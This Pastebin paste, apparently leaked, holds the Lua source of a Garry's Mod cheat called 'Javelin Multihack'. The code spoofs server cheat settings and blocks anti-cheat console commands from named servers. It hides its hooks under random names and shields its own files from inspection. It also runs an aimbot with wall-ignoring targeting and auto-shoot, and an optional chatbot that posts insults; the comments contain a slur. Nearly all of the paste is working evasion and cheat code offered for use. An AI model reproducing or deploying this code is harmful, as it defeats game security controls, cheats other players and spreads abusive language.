Guest User

Top kek cheat leak

a guest
Feb 18th, 2016
1,034
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 102.03 KB | None | 0 0
  1. --====================================--
  2. --=Kek Steal, By Velkon or something.=--
  3. --====================================--
  4.  
  5. ----!Kek!----
  6. --======== lua/javelin.lua ========--
  7. ----!kek!----
  8. jav_version = "Javelin Multihack 0.85"
  9.  
  10. print("Javelin loading...")
  11.  
  12. GColScheme = Color(250, 150, 0, 255)
  13.  
  14. local oConCommand = "deaglelogs is shit"
  15.  
  16. local oldRead = file.Read
  17.  
  18. function file.Read( fn, path )
  19. if string.find(fn, "javelin*") then
  20.     MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked a lua stealing attempt!" )
  21. else
  22.     return oldRead( fn, path )
  23. end
  24. end
  25.  
  26. local function RecvPlayerKilledByPlayer()
  27.  
  28.     local victim    = net.ReadEntity();
  29.     local inflictor = net.ReadString();
  30.     local attacker  = net.ReadEntity();
  31.  
  32.     if ( !IsValid( attacker ) ) then return end
  33.     if ( !IsValid( victim ) ) then return end
  34.            
  35.     GAMEMODE:AddDeathNotice( attacker:Name(), attacker:Team(), inflictor, victim:Name(), victim:Team() )
  36.     if GetConVarNumber("jav_chatbot") == 1 then
  37.     if attacker == LocalPlayer() then
  38.     RunConsoleCommand("say", "rekt")
  39.     end
  40.  
  41.  
  42.     if victim == LocalPlayer() then
  43.     RunConsoleCommand("say", "fuck off you spastic")
  44.     end
  45.     end
  46.  
  47. end
  48.    
  49. net.Receive( "PlayerKilledByPlayer", RecvPlayerKilledByPlayer )
  50.  
  51.  
  52. /*------------------------------------------
  53. Let's Start with some basic convar protection
  54. ------------------------------------------*/
  55.  
  56. local OriginalGetConVarNumber = GetConVarNumber;
  57.  
  58. function GetConVarNumber( name )
  59.    if ( name == "sv_allowcslua" or name == "sv_cheats" or name == "host_framerate" or name == "mat_fullbright") then
  60.        return 0;
  61.    else
  62.        return OriginalGetConVarNumber( name );
  63.    end
  64. end
  65.  
  66. /*------------------------------------------
  67. And a basic rcc scrambler
  68. ------------------------------------------*/
  69.  
  70. local badcmds                            = { -- commands to be blocked
  71. "__ac",
  72. "__imacheater", -- yeah but nah
  73. "gm_possess",
  74. "achievementRefresh", -- fuck you lifepunch
  75. "__uc_", -- RIOT
  76. "_____b__c",
  77. "___m",
  78. "sc",
  79. "bg",
  80. "bm",
  81. "kickme",
  82. "gw_iamacheater",
  83. "imafaggot", -- no u
  84. "birdcage_browse",
  85. "reportmod",
  86. "_fuckme", -- lol ok
  87. "st_openmenu",
  88. "_NOPENOPE",
  89. "__ping",
  90. "ar_check",
  91. "GForceRecoil",
  92. "~__ac_auth",
  93. "blade_client_check",
  94. "blade_client_detected_message",
  95. "disconnect",
  96. "exit",
  97. "retry",
  98. "kill",
  99. "-voicerecord",
  100. "+voicerecord", -- mic snoopers go home
  101. "dac_imcheating", -- fuck u bich
  102. "dac_pleasebanme", -- fuck u bich
  103. "_hz_perp_bans_2hz1", -- rip hellzone AC
  104. "rdm" -- rip simple anticheat
  105. }
  106.  
  107. local old_rcc = RunConsoleCommand;
  108.  
  109. function RunConsoleCommand(cmd,...)
  110.        if !table.HasValue(badcmds,cmd) then
  111.                return old_rcc(cmd,...)
  112.        else
  113.                MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked Malicious Concommand:"..cmd )
  114.                return
  115.        end
  116. end
  117.  
  118. /*------------------------------------------
  119. Hellzone Perp stuff
  120. ------------------------------------------*/
  121.  
  122. _G.RunCheck = function() print("Fuck off killslick") end -- RIP hellzone anticheat
  123. timer.Simple(1, function()
  124.    if AccountCreationScreen then
  125.        AccountCreationScreen:Remove(); -- go fuck yourself
  126.    end
  127.  
  128.    hook.Remove("PlayerBindPress", "BlockPhysgunWheelSpeedGlitch") -- no seriously go fuck yourself
  129.  
  130. end)
  131.  
  132.  
  133. /*------------------------------------------
  134. Fuck your hook checker v2 electric boogaloo
  135. ------------------------------------------*/
  136.  
  137. -- this thing isnt used in any normal addons i know of so may as well just nuke it entirely
  138. /*
  139. local FuckHooks = hook.GetTable
  140. function hook.GetTable( )
  141. MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked an attempt to sniff your hook table" )
  142. end
  143. */
  144.  
  145.  
  146. /*------------------------------------------
  147. AutoAim (Originally coded by rabidtoaster, integrated and modified by LegendofRobbo)
  148. ------------------------------------------*/
  149.  
  150. if SERVER then return end
  151.  
  152. local AA = {}
  153.  
  154. local concommand = concommand
  155. local cvars = cvars
  156. local debug = debug
  157. local ents = ents
  158. local file = file
  159. local hook = hook
  160. local math = math
  161. local spawnmenu = spawnmenu
  162. local string = string
  163. local surface = surface
  164. local table = table
  165. local timer = timer
  166. local util = util
  167. local vgui = vgui
  168.  
  169. local Angle = Angle
  170. local CreateClientConVar = CreateClientConVar
  171. local CurTime = CurTime
  172. local ErrorNoHalt = ErrorNoHalt
  173. local FrameTime = FrameTime
  174. local GetConVarString = GetConVarString
  175. local GetViewEntity = GetViewEntity
  176. local include = include
  177. local ipairs = ipairs
  178. local LocalPlayer = LocalPlayer
  179. local pairs = pairs
  180. local pcall = pcall
  181. local print = print
  182. local RunConsoleCommand = RunConsoleCommand
  183. local ScrH = ScrH
  184. local ScrW = ScrW
  185. local tonumber = tonumber
  186. local type = type
  187. local unpack = unpack
  188. local ValidEntity = IsValid
  189. local Vector = Vector
  190.  
  191. do
  192.    local hooks = {}
  193.    local created = {}
  194.    local function CallHook(self, name, args)
  195.        if !hooks[name] then return end
  196.        for funcName, _ in pairs(hooks[name]) do
  197.            local func = self[funcName]
  198.            if func then
  199.                local ok, err = pcall(func, self, unpack(args or {}))
  200.                if !ok then
  201.                    ErrorNoHalt(err .. "\n")
  202.                elseif err then
  203.                    return err
  204.                end
  205.            end
  206.        end
  207.    end
  208.    local function RandomName()
  209.        local random = ""
  210.        for i = 1, math.random(4, 10) do
  211.            local c = math.random(65, 116)
  212.            if c >= 91 && c <= 96 then c = c + 6 end
  213.            random = random .. string.char(c)
  214.        end
  215.        return random
  216.    end
  217.    local function AddHook(self, name, funcName)
  218.        // If we haven't got a hook for this yet, make one with a random name and store it.
  219.         // This is so anti-cheats can't detect by hook name, and so we can remove them later.
  220.        if !created[name] then
  221.            local random = RandomName()
  222.            hook.Add(name, random, function(...) return CallHook(self, name, {...}) end)
  223.            created[name] = random
  224.        end
  225.      
  226.        hooks[name] = hooks[name] or {}
  227.        hooks[name][funcName] = true
  228.    end
  229.  
  230.    local cvarhooks = {}
  231.    local function GetCallbackTable(convar)
  232.        local callbacks = cvars.GetConVarCallbacks(convar)
  233.        if !callbacks then
  234.            cvars.AddChangeCallback(convar, function() end)
  235.            callbacks = cvars.GetConVarCallbacks(convar)
  236.        end
  237.        return callbacks
  238.    end
  239.          
  240.    local function AddCVarHook(self, convar, funcName, ...)
  241.        local hookName = "CVar_" .. convar
  242.        if !cvarhooks[convar] then
  243.            local random = RandomName()
  244.          
  245.            local callbacks = GetCallbackTable(convar)
  246.            callbacks[random] = function(...)
  247.                CallHook(self, hookName, {...})
  248.            end
  249.          
  250.            cvarhooks[convar] = random
  251.        end
  252.        AddHook(self, hookName, funcName)
  253.    end
  254.  
  255.    // Don't let other scripts remove our hooks.
  256.     local oldRemove = hook.Remove
  257.     function hook.Remove(name, unique)
  258.         if created[name] == unique then return end
  259.         oldRemove(name, unique)
  260.     end
  261.    
  262.     // Removes all hooks, useful if reloading the script.
  263.     local function RemoveHooks()
  264.         for hookName, unique in pairs(created) do
  265.             oldRemove(hookName, unique)
  266.         end
  267.         for convar, unique in pairs(cvarhooks) do
  268.             local callbacks = GetCallbackTable(convar)
  269.             callbacks[unique] = nil
  270.         end
  271.     end
  272.    
  273.     // Add copies the script can access.
  274.     AA.AddHook = AddHook
  275.     AA.AddCVarHook = AddCVarHook
  276.     AA.CallHook = CallHook
  277.     AA.RemoveHooks = RemoveHooks
  278. end
  279.  
  280. concommand.Add("jav_aa_reload", function()
  281.     AA:CallHook("Shutdown")
  282.     print("Removing hooks...")
  283.     AA:RemoveHooks()
  284.    
  285.     AA = nil
  286.     local info = debug.getinfo(1, "S")
  287.     if info && info.short_src then
  288.         if string.Left(info.short_src, 3) == "lua" then
  289.             info.short_src = string.sub(info.short_src, 5)
  290.         end
  291.         print("Reloading (" .. info.short_src .. ")...")
  292.         include(info.short_src)
  293.     else
  294.         print("file error detected, reload manually.")
  295.     end
  296. end)
  297.  
  298. // ##################################################
  299. // MetaTables
  300. // ##################################################
  301.  
  302. local function GetMeta(name)
  303.     return table.Copy(FindMetaTable(name) or {})
  304. end
  305.  
  306. local AngM = GetMeta("Angle")
  307. local CmdM = GetMeta("CUserCmd")
  308. local EntM = GetMeta("Entity")
  309. local PlyM = GetMeta("Player")
  310. local VecM = GetMeta("Vector")
  311.  
  312.  
  313. // ##################################################
  314. // Targetting - Positions
  315. // ##################################################
  316.  
  317. AA.ModelTarget = {}
  318. function AA:SetModelTarget(model, targ)
  319.     self.ModelTarget[model] = targ
  320. end
  321. function AA:BaseTargetPosition(ent)
  322.     // The eye attachment is a lot more stable than bones for players.
  323.     if type(ent) == "Player" then
  324.         if GetConVarNumber("jav_aa_headshot") == 1 then
  325.         local head = EntM["LookupAttachment"](ent, "eyes")
  326.         if head then
  327.             local pos = EntM["GetAttachment"](ent, head)
  328.             if pos then
  329.                 return pos.Pos - (AngM["Forward"](pos.Ang) * 2)
  330.             end
  331.         end
  332.     end
  333.     else
  334.     local bone = EntM["LookupBone"](ent, "ValveBiped.Bip01_Spine2")
  335.         if bone then
  336.             local pos = EntM["GetBonePosition"](ent, bone)
  337.             if pos then
  338.                 return pos - (AngM["Forward"](pos.Ang) * 1)
  339.             end
  340.         end
  341.     end
  342.    
  343.     // Check if the model has a special target assigned to it.
  344.     local special = self.ModelTarget[string.lower(EntM["GetModel"](ent) or "")]
  345.     if special then
  346.         // It's a string - look for a bone.
  347.        if type(special) == "string" then
  348.            local bone = EntM["LookupBone"](ent, special)
  349.            if bone then
  350.                local pos = EntM["GetBonePosition"](ent, bone)
  351.                if pos then
  352.                    return pos
  353.                end
  354.            end
  355.        // It's a Vector - return a relative position.
  356.         elseif type(special) == "Vector" then
  357.             return EntM["LocalToWorld"](ent, special)
  358.         // It's a function - do something fancy!
  359.        elseif type(special) == "function" then
  360.            local pos = pcall(special, ent)
  361.            if pos then return pos end
  362.        end
  363.    end
  364.  
  365.    // Try and use the head bone, found on all of the player + human models.
  366.    local bone = "ValveBiped.Bip01_Spine2"
  367.    local head = EntM["LookupBone"](ent, bone)
  368.    if head then
  369.        local pos = EntM["GetBonePosition"](ent, head)
  370.        if pos then
  371.            return pos
  372.        end
  373.    end
  374.  
  375.    // Give up and return the center of the entity.
  376.    return EntM["LocalToWorld"](ent, EntM["OBBCenter"](ent))
  377. end
  378. function AA:TargetPosition(ent)
  379.    local targetPos = self:BaseTargetPosition(ent)
  380.  
  381.    local ply = LocalPlayer()
  382.    if ValidEntity(ply) then
  383.        targetPos = self:CallHook("TargetPrediction", {ply, ent, targetPos}) or targetPos
  384.    end
  385.  
  386.    return targetPos
  387. end
  388.  
  389. AA:SetModelTarget("models/crow.mdl", Vector(0, 0, 5))                        // Crow.
  390. AA:SetModelTarget("models/pigeon.mdl", Vector(0, 0, 5))                     // Pigeon.
  391. AA:SetModelTarget("models/seagull.mdl", Vector(0, 0, 6))                     // Seagull.
  392. AA:SetModelTarget("models/combine_scanner.mdl", "Scanner.Body")                 // Scanner.
  393. AA:SetModelTarget("models/hunter.mdl", "MiniStrider.body_joint")             // Hunter.
  394. AA:SetModelTarget("models/combine_turrets/floor_turret.mdl", "Barrel")         // Turret.
  395. AA:SetModelTarget("models/dog.mdl", "Dog_Model.Eye")                         // Dog.
  396. AA:SetModelTarget("models/vortigaunt.mdl", "ValveBiped.Head")                 // Vortigaunt.
  397. AA:SetModelTarget("models/antlion.mdl", "Antlion.Body_Bone")                     // Antlion.
  398. AA:SetModelTarget("models/antlion_guard.mdl", "Antlion_Guard.Body")             // Antlion guard.
  399. AA:SetModelTarget("models/antlion_worker.mdl", "Antlion.Head_Bone")             // Antlion worker.
  400. AA:SetModelTarget("models/zombie/fast_torso.mdl", "ValveBiped.HC_BodyCube")     // Fast zombie torso.
  401. AA:SetModelTarget("models/zombie/fast.mdl", "ValveBiped.HC_BodyCube")         // Fast zombie.
  402. AA:SetModelTarget("models/headcrabclassic.mdl", "HeadcrabClassic.SpineControl") // Normal headcrab.
  403. AA:SetModelTarget("models/headcrabblack.mdl", "HCBlack.body")                 // Poison headcrab.
  404. AA:SetModelTarget("models/headcrab.mdl", "HCFast.body")                         // Fast headcrab.
  405. AA:SetModelTarget("models/zombie/poison.mdl", "ValveBiped.Headcrab_Cube1")     // Poison zombie.
  406. AA:SetModelTarget("models/zombie/classic.mdl", "ValveBiped.HC_Body_Bone")     // Zombie.
  407. AA:SetModelTarget("models/zombie/classic_torso.mdl", "ValveBiped.HC_Body_Bone") // Zombie torso.
  408. AA:SetModelTarget("models/zombie/zombie_soldier.mdl", "ValveBiped.HC_Body_Bone") // Zombine.
  409. AA:SetModelTarget("models/combine_strider.mdl", "Combine_Strider.Body_Bone") // Strider.
  410. AA:SetModelTarget("models/combine_dropship.mdl", "D_ship.Spine1")             // Combine dropship.
  411. AA:SetModelTarget("models/combine_helicopter.mdl", "Chopper.Body")             // Combine helicopter.
  412. AA:SetModelTarget("models/gunship.mdl", "Gunship.Body")                        // Combine gunship.
  413. AA:SetModelTarget("models/lamarr.mdl", "HeadcrabClassic.SpineControl")        // Lamarr!
  414. AA:SetModelTarget("models/mortarsynth.mdl", "Root Bone")                        // Mortar synth.
  415. AA:SetModelTarget("models/synth.mdl", "Bip02 Spine1")                        // Synth.
  416. AA:SetModelTarget("models/vortigaunt_slave.mdl", "ValveBiped.Head")            // Vortigaunt slave.
  417.  
  418.  
  419. // ##################################################
  420. // Targetting - General
  421. // ##################################################
  422.  
  423. AA.NPCDeathSequences = {}
  424. function AA:AddNPCDeathSequence(model, sequence)
  425.    self.NPCDeathSequences = self.NPCDeathSequences or {}
  426.    self.NPCDeathSequences[model] = self.NPCDeathSequences[model] or {}
  427.    if !table.HasValue(self.NPCDeathSequences[model]) then
  428.        table.insert(self.NPCDeathSequences[model], sequence)
  429.    end
  430. end
  431.  
  432. AA:AddNPCDeathSequence("models/barnacle.mdl", 4)
  433. AA:AddNPCDeathSequence("models/barnacle.mdl", 15)
  434. AA:AddNPCDeathSequence("models/antlion_guard.mdl", 44)
  435. AA:AddNPCDeathSequence("models/hunter.mdl", 124)
  436. AA:AddNPCDeathSequence("models/hunter.mdl", 125)
  437. AA:AddNPCDeathSequence("models/hunter.mdl", 126)
  438. AA:AddNPCDeathSequence("models/hunter.mdl", 127)
  439. AA:AddNPCDeathSequence("models/hunter.mdl", 128)
  440.  
  441. function AA:IsValidTarget(ent)
  442.    // We only want players/NPCs.
  443.    local typename = type(ent)
  444.    if typename != "NPC" && typename != "Player" then return false end
  445.  
  446.    // No invalid entities.
  447.    if !ValidEntity(ent) then return false end
  448.  
  449.    // Go shoot yourself, emo kid.
  450.    local ply = LocalPlayer()
  451.    if ent == ply then return false end
  452.  
  453.    local weap = PlyM["GetActiveWeapon"](ply)
  454.    if ValidEntity(weap) then
  455.        local class = EntM["GetClass"](weap)
  456.        if class == "weapon_physgun" or class == "weapon_physcannon" or class == "gmod_tool" or class == "gmod_camera" then return false end
  457.    end
  458.  
  459.    if typename == "Player" then
  460.        if !PlyM["Alive"](ent) then return false end // Dead players FTL.
  461.        if GetConVarNumber("jav_aa_targetteam") != 1 && PlyM["Team"](ent) == PlyM["Team"](ply) then return false end
  462.        if GetConVarNumber("jav_aa_targetfriends") != 1 && ent:GetFriendStatus() == "friend" then return false end
  463.        if EntM["GetMoveType"](ent) == MOVETYPE_OBSERVER then return false end // No spectators.
  464.        if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  465.        //if pl["Team"](ent) == 1001 then return false end
  466.    end
  467.  
  468.    if typename == "NPC" then
  469.        if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end // No dead NPCs.
  470.  
  471.        // No dying NPCs.
  472.        local model = string.lower(EntM["GetModel"](ent) or "")
  473.        if table.HasValue(self.NPCDeathSequences[model] or {}, EntM["GetSequence"](ent)) then return false end
  474.    end
  475. end
  476. function AA:BaseBlocked(target, offset)
  477.    local ply = LocalPlayer()
  478.    if !ValidEntity(ply) then return end
  479.  
  480.    // Trace from the players shootpos to the position.
  481.    local shootPos = PlyM["GetShootPos"](ply)
  482.    local targetPos = self:TargetPosition(target)
  483.  
  484.    if offset then targetPos = targetPos + offset end
  485.  
  486.    local trace = util.TraceLine({start = shootPos, endpos = targetPos, filter = {ply, target}, mask = MASK_SHOT})
  487.    local wrongAim = self:AngleBetween(PlyM["GetAimVector"](ply), VecM["GetNormal"](targetPos - shootPos)) > 2
  488.  
  489.    // If we hit something, we're "blocked".
  490.     if trace.Hit && trace.Entity != target then
  491.         return true, wrongAim
  492.     end
  493.  
  494.     // It is not blocked.
  495.     return false, wrongAim
  496. end
  497. function AA:TargetBlocked(target)
  498.     if !target then target = self:GetTarget() end
  499.     if !target then return end
  500.    
  501.     local blocked, wrongAim = self:BaseBlocked(target)
  502.     return blocked, wrongAim
  503. end
  504.    
  505.  
  506. function AA:SetTarget(ent)
  507.     if self.Target && !ent then
  508.         self:CallHook("TargetLost")
  509.     elseif !self.Target && ent then
  510.         self:CallHook("TargetGained")
  511.     elseif self.Target && ent && self.Target != ent then
  512.         self:CallHook("TargetChanged")
  513.     end
  514.  
  515.     self.Target = ent
  516. end
  517. function AA:GetTarget()
  518.     if ValidEntity(self.Target) != false then
  519.         return self.Target
  520.     else
  521.         return false
  522.     end
  523. end
  524. function AA:FindTarget()
  525.     if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  526.  
  527.     local ply = LocalPlayer()
  528.     if !ValidEntity(ply) then return end
  529.  
  530.     local maxAng = GetConVarNumber("jav_aa_angle")
  531.     local aimVec, shootPos = PlyM["GetAimVector"](ply), PlyM["GetShootPos"](ply)
  532.  
  533.  
  534.     // Filter out targets.
  535.     local targets = ents.GetAll()
  536.     for i, ent in pairs(targets) do
  537.         if self:IsValidTarget(ent) == false then
  538.             targets[i] = nil
  539.         end
  540.     end
  541.  
  542.     local closestTarget, lowestAngle = _, maxAng
  543.     for _, target in pairs(targets) do
  544.         if GetConVarNumber("jav_aa_ignorewalls") == 1 || !self:TargetBlocked(target) then
  545.             local targetPos = self:TargetPosition(target)
  546.             local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  547.  
  548.             if angle < lowestAngle then
  549.                 lowestAngle = angle
  550.                 closestTarget = target
  551.             end
  552.         end
  553.     end
  554.  
  555.     self:SetTarget(closestTarget)
  556. end
  557. AA:AddHook("Think", "FindTarget")
  558.  
  559.  
  560. // ##################################################
  561. // Fake view
  562. // ##################################################
  563.  
  564. AA.View = Angle(0, 0, 0)
  565. function AA:GetView()
  566.     return self.View * 1
  567. end
  568. function AA:KeepView()
  569.     if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  570.  
  571.     local ply = LocalPlayer()
  572.     if !ValidEntity(ply) then return end
  573.  
  574.     self.View = EntM["EyeAngles"](ply)
  575. end
  576. AA:AddHook("OnToggled", "KeepView")
  577.  
  578. local sensitivity = 0.022
  579. function AA:RotateView(cmd)
  580.     self.View.p = math.Clamp(self.View.p + (CmdM["GetMouseY"](cmd) * sensitivity), -89, 89)
  581.     self.View.y = math.NormalizeAngle(self.View.y + (CmdM["GetMouseX"](cmd) * sensitivity * -1))
  582. end
  583.  
  584. function AA:FakeView(ply, origin, angles, FOV)
  585.     if GetConVarNumber("jav_autoaim_enabled") != 1 && !self.SetAngleTo then return end
  586.     if GetViewEntity() != LocalPlayer() then return end
  587.    
  588.     local base = GAMEMODE:CalcView(ply, origin, self.SetAngleTo or self.View, FOV) or {}
  589.             base.angles = base.angles or (self.AngleTo or self.View)
  590.             base.angles.r = 0 // No crappy screen tilting in ZS.
  591.     return base
  592. end
  593. AA:AddHook("CalcView", "FakeView")
  594.  
  595.  
  596. function AA:TargetPrediction(ply, target, targetPos)
  597.     local weap = PlyM["GetActiveWeapon"](ply)
  598.     if ValidEntity(weap) then
  599.         local class = EntM["GetClass"](weap)
  600.         if class == "weapon_crossbow" then
  601.             local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  602.             local time = (dist / 3500) + 0.05 // About crossbow bolt speed.
  603.             targetPos = targetPos + (EntM["GetVelocity"](target) * time)
  604.         end
  605.        
  606.         local mul = 0.0075
  607.         //targetPos = targetPos - (e["GetVelocity"](ply) * mul)
  608.     end
  609.    
  610.     return targetPos
  611. end
  612. AA:AddHook("TargetPrediction", "TargetPrediction")
  613.  
  614. // ##################################################
  615. // Aim
  616. // ##################################################
  617.  
  618. function AA:SetAngle(ang)
  619.     self.SetAngleTo = ang
  620. end
  621. AA.LastAttack = 0
  622. function AA:SetAimAngles(cmd)
  623.     self:RotateView(cmd)
  624.  
  625.     if GetConVarNumber("jav_autoaim_enabled") != 1 && !self.SetAngleTo then return end
  626.  
  627.     local ply = LocalPlayer()
  628.     if !ValidEntity(ply) then return end
  629.  
  630.     // We're aiming with the view, normally.
  631.    local targetAim = self:GetView()
  632.  
  633.    // If we have a target, aim at them!
  634.    local target = self:GetTarget()
  635.    if target then
  636.        local targetPos = self:TargetPosition(target)
  637.        targetAim = VecM["Angle"](targetPos - ply:GetShootPos())
  638.    end
  639.  
  640.    // We're following the view, until we fire.
  641.     if GetConVarNumber("jav_aa_snaponaim") == 1 then
  642.         local time = CurTime()
  643.         if PlyM["KeyDown"](ply, IN_ATTACK2) || (GetConVarNumber("jav_aa_autoshoot") / 0.02) != 0 then
  644.             self.LastAttack = time
  645.         end
  646.         if CurTime() - self.LastAttack > GetConVarNumber("jav_aa_snaponaimgrace") then
  647.             targetAim = self:GetView()
  648.         end
  649.     end
  650.  
  651.     // We want to change to whatever was SetAngle'd.
  652.    if self.SetAngleTo then
  653.        targetAim = self.SetAngleTo
  654.    end
  655.  
  656.    // Smooth aiming.
  657.    local smooth = 0
  658.    if smooth > 0 then
  659.        local current = CmdM["GetViewAngles"](cmd)
  660.  
  661.        // Approach the target angle.
  662.        current = self:ApproachAngle(current, targetAim, smooth * FrameTime())
  663.        current.r = 0
  664.  
  665.        // If we're just following the view, we don't need to smooth it.
  666.        if self.RevertingAim then
  667.            local diff = self:NormalizeAngle(current - self:GetView())
  668.            if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.RevertingAim = false end
  669.        elseif targetAim == self:GetView() then
  670.            current = targetAim
  671.        end
  672.  
  673.        // Check if the angles are the same...
  674.        if self.SetAngleTo then
  675.            local diff = self:NormalizeAngle(current - self.SetAngleTo)
  676.            if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.SetAngleTo = nil end
  677.        end
  678.  
  679.        aim = current
  680.    else
  681.        aim = targetAim
  682.        self.SetAngleTo = nil
  683.    end
  684.  
  685.    // Set the angles.
  686.    CmdM["SetViewAngles"](cmd, aim)
  687.    local sensitivity = 0.22
  688.    local diff = aim - CmdM["GetViewAngles"](cmd)
  689.    CmdM["SetMouseX"](cmd, diff.y / sensitivity)
  690.    CmdM["SetMouseY"](cmd, diff.p / sensitivity)
  691.  
  692.  
  693.    // Change the players movement to be relative to their view instead of their aim.
  694.    local move = Vector(CmdM["GetForwardMove"](cmd), CmdM["GetSideMove"](cmd), 0)
  695.    local norm = VecM["GetNormal"](move)
  696.    local set = AngM["Forward"](VecM["Angle"](norm) + (aim - self:GetView())) * VecM["Length"](move)
  697.        CmdM["SetForwardMove"](cmd, set.x)
  698.        CmdM["SetSideMove"](cmd, set.y)
  699. end
  700. AA:AddHook("CreateMove", "SetAimAngles")
  701.  
  702. function AA:RevertAim()
  703.    self.RevertingAim = true
  704. end
  705. AA:AddHook("TargetLost", "RevertAim")
  706. function AA:StopRevertAim()
  707.    self.RevertingAim = false
  708. end
  709. AA:AddHook("TargetGained", "RevertAim")
  710.  
  711. // When we turn off the bot, we want our aim to go back to our view.
  712. function AA:ViewToAim()
  713.    if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  714.    self:SetAngle(self:GetView())
  715. end
  716. AA:AddHook("OnToggled", "ViewToAim")
  717.  
  718.  
  719. // ##################################################
  720. // HUD
  721. // ##################################################
  722. function AA:DrawTarget()
  723.    if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  724.  
  725.    local target = self:GetTarget()
  726.    if !target then return end
  727.    if target:Alive() == false then return end
  728.  
  729.    // Change colour on the block status.
  730.    /*
  731.    local blocked, aimOff = self:TargetBlocked()
  732.    if blocked then
  733.        surface.SetDrawColor(255, 0, 0, 255) // Red.
  734.    elseif aimOff then
  735.        surface.SetDrawColor(255, 255, 0, 255) // Yellow.
  736.    else
  737.        surface.SetDrawColor(0, 255, 0, 255) // Green.
  738.    end
  739.    */
  740.  
  741.    // Get the onscreen coordinates for the target.
  742.    local pos = self:TargetPosition(target)
  743.  
  744.    local screen = VecM["ToScreen"](pos)
  745.    local x, y = screen.x, screen.y
  746.  
  747.    surface.SetDrawColor(255,255,255,255)
  748.    surface.DrawRect( x + 10, y -1, 20, 2 )
  749.    surface.DrawRect( x - 30, y -1, 20, 2 )
  750.    surface.DrawRect( x - 1, y +20, 2, 20 )
  751.    surface.DrawRect( x - 1, y -40, 2, 20 )
  752. end
  753. AA:AddHook("HUDPaint", "DrawTarget")
  754.  
  755.  
  756. AA.ScreenMaxAngle = {
  757.    Length = 0,
  758.    FOV = 0,
  759.    MaxAngle = 0
  760. }
  761. function AA:DrawMaxAngle()
  762.    if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  763.  
  764.    // We need a player for this to work...
  765.    local ply = LocalPlayer()
  766.    if !ValidEntity(ply) then return end
  767.  
  768.    local info = self.ScreenMaxAngle
  769.    local maxang = GetConVarNumber("jav_aa_angle")
  770.  
  771.    local fov = PlyM["GetFOV"](ply)
  772.    if GetViewEntity() == ply && (maxang != info.MaxAngle || fov != info.FOV) then
  773.        local view = self:GetView()
  774.            view.p = view.p + maxang
  775.  
  776.        local screen = (PlyM["GetShootPos"](ply) + (AngM["Forward"](view) * 100))
  777.        screen = VecM["ToScreen"](screen)
  778.  
  779.        info.Length = math.abs((ScrH() / 2) - screen.y)
  780.  
  781.        info.MaxAngle = maxang
  782.        info.FOV = fov
  783.    end
  784.  
  785.    local length = info.Length
  786.  
  787.    local cx, cy = ScrW() / 2, ScrH() / 2
  788.    for x = -1, 1 do
  789.        for y = -1, 1 do
  790.            if x != 0 || y != 0 then
  791.                local add = VecM["GetNormal"](Vector(x, y, 0)) * length
  792.                surface.DrawCircle(cx, cy, add.x, Color(255,150,0,255))
  793.            end
  794.        end
  795.    end
  796.  
  797. end
  798. AA:AddHook("HUDPaint", "DrawMaxAngle")
  799.  
  800. // ##################################################
  801. // Auto-shoot
  802. // ##################################################
  803.  
  804. AA.AttackDown = false
  805. function AA:SetShooting(bool)
  806.    if self.AttackDown == bool then return end
  807.    self.AttackDown = bool
  808.  
  809.    local pre = {[true] = "+", [false] = "-"}
  810.    RunConsoleCommand(pre[bool] .. "attack")
  811. end
  812.  
  813. AA.NextShot = 0
  814. function AA:Shoot()
  815.    if GetConVarNumber("jav_autoaim_enabled") != 1 then
  816.        self:SetShooting(false)
  817.        return
  818.    end
  819.  
  820.    // Get the maximum distance.
  821.    local maxDist = (GetConVarNumber("jav_aa_autoshoot") / 0.02)
  822.    if maxDist == 0 then return end
  823.  
  824.    // Check we've got something to shoot at...
  825.     local target = self:GetTarget()
  826.     if !target then return end
  827.    
  828.     // Don't shoot until we can hit, you idiot!
  829.    local blocked, wrongAim = self:TargetBlocked(target)
  830.    if blocked || wrongAim then return end
  831.  
  832.    // We're gonna need the player object in a second.
  833.     local ply = LocalPlayer()
  834.     if !ValidEntity(ply) then return end
  835.    
  836.     // Check we're within our maximum distance.
  837.    local targetPos = self:TargetPosition(target)
  838.    local distance = VecM["Length"](targetPos - ply:GetShootPos())
  839.    if distance > maxDist && maxDist != -1 then return end
  840.  
  841.    // Check if it's time to shoot yet.
  842.     if CurTime() < self.NextShot then return end
  843.  
  844.     // Check we got our weapon.
  845.     local weap = PlyM["GetActiveWeapon"](ply)
  846.     if !ValidEntity(weap) then return end
  847.  
  848.     // Shoot!
  849.     self:SetShooting(true)
  850.     // If we're semi-auto, we want to stop holding down fire.
  851.    if self:IsSemiAuto(weap) then
  852.        timer.Simple(0.05, function() self:SetShooting(false) end)
  853.    end
  854.  
  855.    // Set the next time to shoot.
  856.    self.NextShot = CurTime() + 0.1
  857. end
  858. AA:AddHook("Think", "Shoot")
  859.  
  860. // When we lose our target we stop shooting.
  861. function AA:StopShooting()
  862.    self:SetShooting(false)
  863. end
  864. AA:AddHook("TargetLost", "StopShooting")
  865.  
  866. // ##################################################
  867. // Useful functions
  868. // ##################################################
  869.  
  870. function AA:AngleBetween(a, b)
  871.    return math.deg(math.acos(VecM["Dot"](a, b)))
  872. end
  873.  
  874. function AA:NormalizeAngle(ang)
  875.    return Angle(math.NormalizeAngle(ang.p), math.NormalizeAngle(ang.y), math.NormalizeAngle(ang.r))
  876. end
  877.  
  878. function AA:ApproachAngle(start, target, add)
  879.    local diff = self:NormalizeAngle(target - start)
  880.  
  881.    local vec = Vector(diff.p, diff.y, diff.r)
  882.    local len = VecM["Length"](vec)
  883.    vec = VecM["GetNormal"](vec) * math.min(add, len)
  884.  
  885.    return start + Angle(vec.x, vec.y, vec.z)
  886. end
  887.  
